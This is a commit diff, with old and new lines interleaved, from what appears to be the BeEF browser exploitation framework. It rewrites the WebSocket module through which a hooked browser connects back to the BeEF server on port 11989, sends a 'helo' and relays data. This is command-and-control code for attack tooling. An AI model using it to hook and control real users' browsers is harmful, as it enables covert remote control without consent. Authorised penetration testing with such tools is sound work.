The connection and helo to server correctly work.
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@@ -16,37 +16,39 @@
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//beef.websocket.socket.send(take answer to server beef)
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/*New browser init call this */
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beef.websocket = {
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socket: null,
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socket:null,
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init:function () {
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var webSocketServer = beef.net.host;
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var webSocketPort = 11989;
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//@todo ceck if we have to use wss or ws we need a globalvalue
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if (beef.browser.isFF()) {
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beef.websocket.socket = new MozWebSocket("ws://" + webSocketServer + ":" + webSocketPort + "/");
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} else {
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beef.websocket.socket = new WebSocket("ws://" + webSocketServer + ":" + webSocketPort + "/");
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init: function(){
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var webSocketServer=beef.net.host;
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var webSocketPort=11989;
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if(beef.browser.isFF()){
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this.socket = new MozWebSocket("ws://"+webSocketServer+":"+webSocketPort+"/");
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}else{
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this.socket = new WebSocket("ws://"+webSocketServer+":"+webSocketPort+"/");
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}
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},
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/*websocket send Helo to beef server and start async communication*/
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start:function(){
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console.log("started ws \n");
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start:function () {
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new beef.websocket.init();
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/*so the server is just up we need send helo id @todo insert browser ID where can i get them?*/
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this.socket.onopen = function(){
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/*so the server is just up we need send helo id @todo insert browser ID where can i get them?*/
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this.socket.onopen = function () {
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console.log("Socket has been opened!");
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this.send("Helo"+"myid00");
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beef.websocket.send("helo");
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console.log("Connected and Helo");
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}
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},
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send:function(data){
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this.socket.send(data);
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console.log("Sent [" + data + "]");
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send:function (data) {
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this.socket.send(data);
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console.log("Sent [" + data + "]");
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}
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};
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